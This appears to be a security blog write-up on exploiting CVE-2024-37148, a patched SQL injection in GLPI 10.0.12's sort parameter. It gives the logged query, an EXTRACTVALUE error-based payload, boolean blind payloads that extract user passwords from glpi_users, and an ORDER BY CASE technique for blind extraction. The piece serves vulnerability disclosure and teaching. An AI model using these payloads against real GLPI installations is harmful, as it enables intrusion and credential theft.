Exploiting CVE-2024-37148
Intro When it comes to input sanitisation, who is responsible, the function or the caller ? Or both ? And if no one does, hoping that the other one will do t...
A few weeks ago, I discovered during an intrusion test two vulnerabilities affecting GLPI 10.0.12, that was the latest public version at this time. The vendor was notified and released a patch after a couple of days, and I saw in the release notes that someone found an SQL injection in the same version. I was a little bit surprised (and also a bit disappointed to not have found it myself, I have to admit), and I was really curious about the exploitation details. Since the vendor did not disclose them, the only thing I had at this moment was the advisory and a link to the patch, referenced by the CVE bulletin:
When I wrote this article, I realised that the reporter published a blogpost (see references) where details were pretty clear, but when I started to analyse the patch, they were not yet disclosed. Therefore, since the details are already public, I will not describe how I uncovered that flaw during my own analysis, but will focus on the way I exploited it.
One can quickly see that something weird is happening when setting the parameter sort
in search requests, to sort the results. In the patch, the values passed in the sort
array were casted as integers, so it was likely that they were improperly compared against strings in the flawed version. In PHP 7.*, the loose comparison between strings and integers returns a positive answer if the string value starts with the expected integer. For instance, it would return true
when computing 8 == "8-put-a-string-here"
. The quotes were escaped in the user inputs, but as long as the payload did not contain one, I could inject any string I wanted, and break outside the SORT
clause.
When performing a research among the assets, the application dynamically builds a query based on the filters the user wants to apply. The sort
parameter is supposed to contain integers that are mapped to column names, and the lack of explicit conversion opened the way to injections. To make things easier, I added a line to write the SQL queries into a text file, and saw that the faulty query was as follows:
SELECT DISTINCT
`glpi_computers`.`id` AS id, 'glpi' AS currentuser,
`glpi_computers`.`entities_id`,
`glpi_computers`.`is_recursive`,
`glpi_computers`.`name` AS `ITEM_Computer_1`,
`glpi_computers`.`id` AS `ITEM_Computer_1_id`,
`glpi_states`.`completename` AS `ITEM_Computer_31`,
`glpi_manufacturers`.`name` AS `ITEM_Computer_23`,
`glpi_computers`.`serial` AS `ITEM_Computer_5`,
`glpi_computertypes`.`name` AS `ITEM_Computer_4`,
`glpi_computermodels`.`name` AS `ITEM_Computer_40`,
GROUP_CONCAT(
DISTINCT CONCAT(
IFNULL(`glpi_operatingsystems_9719987b154aaf3b42c3db32aef59090`.`name`, '__NULL__'),
'$#$',`glpi_operatingsystems_9719987b154aaf3b42c3db32aef59090`.`id`)
ORDER BY `glpi_operatingsystems_9719987b154aaf3b42c3db32aef59090`.`id` SEPARATOR '$$##$$') AS `ITEM_Computer_45`,
`glpi_locations`.`completename` AS `ITEM_Computer_3`,
`glpi_computers`.`date_mod` AS `ITEM_Computer_19`,
GROUP_CONCAT(
DISTINCT CONCAT(
IFNULL(`glpi_deviceprocessors_7083fb7d2b7a8b8abd619678acc5b604`.`designation`, '__NULL__'),
'$#$',`glpi_deviceprocessors_7083fb7d2b7a8b8abd619678acc5b604`.`id`)
ORDER BY `glpi_deviceprocessors_7083fb7d2b7a8b8abd619678acc5b604`.`id` SEPARATOR '$$##$$') AS `ITEM_Computer_17`
FROM `glpi_computers`
...
WHERE `glpi_computers`.`is_deleted` = 0
AND `glpi_computers`.`is_template` = 0
AND ((
(`glpi_computers`.`name` LIKE '%my-search-term%' )
OR (`glpi_states`.`completename` LIKE '%my-search-term%' )
OR (`glpi_manufacturers`.`name` LIKE '%my-search-term%' )
OR (`glpi_computers`.`serial` LIKE '%my-search-term%' )
OR (`glpi_computertypes`.`name` LIKE '%my-search-term%' )
OR (`glpi_computermodels`.`name` LIKE '%my-search-term%' )
OR (`glpi_operatingsystems_9719987b154aaf3b42c3db32aef59090`.`name` LIKE '%my-search-term%' )
OR (`glpi_locations`.`completename` LIKE '%my-search-term%' )
OR (CONVERT(`glpi_computers`.`date_mod` USING utf8mb4) LIKE '%my-search-term%' )
))
GROUP BY `glpi_computers`.`id`
ORDER BY `ITEM_Computer_1hey-oh` ASC
(escaping sequences removed for readability)
One can see that the ORDER BY
clause is injected, where ITEM_Computer_1hey-oh
is supposed to be a column.
In the article the security researcher published, they say that they first tried to exploit it with a time-based blind SQL injection, and then found an easier way with an error-based one. The trick they used is based on the function EXTRACTVALUE
. The latter expects two arguments:
xml_frag
: an XML fragment where to search (haystack)xpath_expr
: the XPATH expression coming as a search term (needle)The idea is to pass the string to extract as the second argument, and the DBMS would complain because it is not a valid XPATH expression. They used the following payload:
1`,extractvalue(rand(),concat(CHAR(126),(SELECT database()),CHAR(126))) -- -
and got their answer in the web page. In this case, we extract the database name:
But what if the application would not have returned any error message ?
As my grandma said, back in the days, we did not have SQLmap and had to do it by hand, today’s young people are so lazy, and I always prefer building the payloads myself too.
Generally speaking, content-based blind SQL injections rely on a dichotomic research, asking boolean questions to the DBMS, and comparing the results in terms of content-length, HTTP codes, or patterns. With patience and luck, an attacker may extract bit by bit the content of the database. In most of the examples one can find in the wild, the injection occurs in the WHERE
clause, that makes the injection quite easy:
SELECT *
FROM the_table
WHERE id={input}
GROUP BY the_column ASC
As an input, we would have something like:
((select ascii(substr(password,1,1)) from glpi_users where id=2)>65)
that asks if the ASCII code of the first character of the password of user n°2 is greater than 65. The resulting query would therefore be:
SELECT * FROM the_table WHERE id=0 GROUP BY the_column ASC
-- or
SELECT * FROM the_table WHERE id=1 GROUP BY the_column ASC
which would probably lead to different generated web pages.
Depending on the answer, we would ask either:
((select ascii(substr(password,1,1)) from glpi_users where id=2)>32)
or
((select ascii(substr(password,1,1)) from glpi_users where id=2)>96)
in order to split in half the search space. Once the first character is found, we would restart by updating the arguments of SUBSTRING
to uncover the second character and so on…
However, the situation was trickier here, because we would inject in the ORDER BY
clause, and at this point of the query, SELECT
, UNION
, or WHERE
are not allowed (and batch queries neither). The idea would be to abuse the injection to sort the results in different ways, according to the boolean question: if the answer is positive, then sort in one way, otherwise sort it differently. The elements would be the same, but displayed in a different order.
ORDER BY
clauseMultiple columns can be specified in the ORDER BY
clause: the filter for the column n+1
would apply if the values for the column n
are the same. For instance, if we have:
id | name | age | gender | address |
---|---|---|---|---|
1 | Alice | 19 | F | 127.0.0.1 |
2 | Bob | 19 | M | ::1 |
3 | Charlie | 18 | M | 255.255.255.255 |
then doing SELECT * FROM users ORDER BY age,gender ASC
would return this (Charlie goes first because he is younger, and then Alice takes the second place because F goes before M):
id | name | age | gender | address |
---|---|---|---|---|
3 | Charlie | 18 | M | 255.255.255.255 |
1 | Alice | 19 | F | 127.0.0.1 |
2 | Bob | 19 | M | ::1 |
and SELECT * FROM users ORDER BY gender,age ASC
would return this (Alice goes first because F goes before M, and Charlies takes the second place because he is younger than Bob):
id | name | age | gender | address |
---|---|---|---|---|
1 | Alice | 19 | F | 127.0.0.1 |
3 | Charlie | 18 | M | 255.255.255.255 |
2 | Bob | 19 | M | ::1 |
Based on the query that we logged earlier, we know that we inject here:
ORDER BY `ITEM_Computer_{input}` ASC
We must therefore close the column name with a number and a backtick, then add another column name depending on the result of our boolean question, and finally add a backtick and a third column name to properly inject. Fortunately, the ORDER BY
clause accepts the CASE ... WHEN ... THEN
structure, like this:
ORDER BY
`ITEM_Computer_40`,
(
CASE
WHEN 1=0 THEN
`glpi_computers`.`id`
ELSE
`glpi_computers`.`name`
END
),
`glpi_computers`.`is_recursive`
ASC
The idea was to select as the first column something that would be the same for at least two elements, so that the second column would apply (and the latter must contain different values to make the sorting different). If the condition is true, then the sorting applies on glpi_computers
.id
, otherwise it would be on glpi_computers
.name
. The third column does not really matter.
This attack can be performed by a low-privileged user who can only see the tickets (like post-only
)
Intro When it comes to input sanitisation, who is responsible, the function or the caller ? Or both ? And if no one does, hoping that the other one will do t...
Intro After being tasked with auditing GLPI 10.0.12, for which I uncovered two unknown vulnerabilities (CVE-2024-27930 and CVE-2024-27937), I became really i...
Intro A few weeks ago, I discovered during an intrusion test two vulnerabilities affecting GLPI 10.0.12, that was the latest public version at this time. The...
I was recently tasked with auditing the application GLPI, a few days after its latest release (10.0.12 at the time of writing). The latter stands for Gestion...
I won’t insult you by explaining once again what JSON Web Tokens (JWTs) are, and how to attack them. A plethora of awesome articles exists on the Web, descri...
A few days ago, I published a blog post about PHP webshells, ending with a discussion about filters evasion by getting rid of the pattern $_. The latter is c...
A few thoughts about PHP webshells …
I remember this carpet, at the entrance of the Computer Science faculty, with this message There’s no place like 127.0.0.1/8. A joke that would create two ca...
TL;DR A few experiments about mixed managed/unmanaged assemblies. To begin with, we start by presenting a C# programme that hides a part of its payload in an...
It was a sunny and warm summer afternoon, and while normal people would rush to the beach, I decided to devote myself to one of my favourite activities: suff...
The reader should first take a look at the articles related to CVE-2023-3032 and CVE-2023-3033 that I published a few days ago to get more context.
This walkthrough presents another vulnerability discovered on the Mobatime web application (see CVE-2023-3032, same version 06.7.2022 affected). This vulnera...
Mobatime offers various time-related products, such as check-in solutions. In versions up to 06.7.2022, an arbitrary file upload allowed an authenticated use...
King-Avis is a Prestashop module developed by Webbax. In versions older than 17.3.15, the latter suffers from an authenticated path traversal, leading to loc...
Let’s render unto Caesar the things that are Caesar’s, the exploit FuckFastCGI is not mine and is a brilliant one, bypassing open_basedir and disable_functio...
I have to admit, PHP is not my favourite, but such powerful language sometimes really amazes me. Two days ago, I found a bypass of the directive open_basedir...
PHP is a really powerful language, and as a wise man once said, with great power comes great responsibilities. There is nothing more frustrating than obtaini...
A few weeks ago, a good friend of mine asked me if it was possible to create such a program, as it could modify itself. After some thoughts, I answered that ...
In the previous article, I described how I wrote a simple polymorphic program. “Polymorphic” means that the program (the binary) changes its appearance every...
The malware presented in this blog post appeared on Google Play in 2016. I heard about it thanks to this article published on checkpoint.com. The malicious a...
Ransomwares are really interesting malwares because of their very specific purpose. Indeed, a ransomware will not necessarily try to be stealth or persistent...
A few days ago, I found this article about a malware targeting Sberbank, a big Russian bank. The app disguises itself as a web application, stealing in backg...
RuMMS is a malware targetting Russian users, distributed via websites as a file named mms.apk [1]. This article is inspired by this analysis made by FireEye ...
Could a 5-classes Android app be so harmful ? dsencrypt says “yes”…
~$ cat How_an_Android_app_could_escalate_its_privileges_Part4.txt
~$ cat How_an_Android_app_could_escalate_its_privileges_Part3.txt
~$ cat How_an_Android_app_could_escalate_its_privileges_Part2.txt
~$ cat How_an_Android_app_could_escalate_its_privileges.txt
Even if the thesis introduces the extensions internals, and analyses the difference between mobile and desktop browsers in terms of likelihood, efficiency an...